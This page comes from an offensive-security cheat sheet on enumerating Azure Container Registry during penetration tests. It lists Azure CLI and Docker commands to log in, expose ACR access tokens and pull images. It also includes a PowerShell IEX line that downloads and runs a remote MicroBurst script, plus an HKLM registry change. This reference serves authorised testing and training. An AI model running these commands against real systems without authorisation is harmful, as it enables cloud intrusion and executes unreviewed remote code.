azure-services-container-registry.md (2015B)
1 --- 2 title: "Azure Services - Container Registry" 3 section: "Cloud" 4 sectionSlug: "cloud" 5 sourcePath: "docs/cloud/azure/azure-services-container-registry.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cloud/azure/azure-services-container-registry.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Azure Services - Container Registry 12 13 ## Enumerate 14 15 List container registries in the subscription using Azure CLI 16 17 ```ps1 18 az login -u user@domain.onmicrosoft.com -p pass 19 az acr list -o table 20 ``` 21 22 Login to the Registry 23 24 ```ps1 25 acr=<ACRName> # from the previous command 26 server=$(az acr login -n $acr --expose-token --query loginServer -o tsv) 27 token=$(az acr login -n $acr --expose-token --query accessToken -o tsv) 28 docker login $server -u 00000000-0000-0000-0000-000000000000 -p $token 29 ``` 30 31 List the images in the ACR 32 33 ```ps1 34 az acr repository list -n $acr 35 ``` 36 37 List version tags for an image 38 39 ```ps1 40 az acr repository show-tags -n $acr --repository mywebapp 41 ``` 42 43 Connect to the container registry from a PowerShell console, set the $server and $token variables, and pull the image from the registry 44 45 ```ps1 46 # docker login ${registryURI} --username ${username} --password ${password} 47 $token="<AccessToken>" 48 $server="<LoginServer>" 49 docker login $server -u 00000000-0000-0000-0000-000000000000 -p $token 50 docker pull $server/mywebapp:v1 51 ``` 52 53 List docker containers inside a registry 54 55 ```ps1 56 IEX (New-Object Net.WebClient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1") 57 Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2 58 Get-AzACR -username ${username} -password ${password} -registry ${registryURI} 59 ``` 60 61 ## References 62 63 * [PENTESTING AZURE: RECON TECHNIQUES - April 29, 2022 Stefan Tita](https://securitycafe.ro/2022/04/29/pentesting-azure-recon-techniques/) 64 * [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)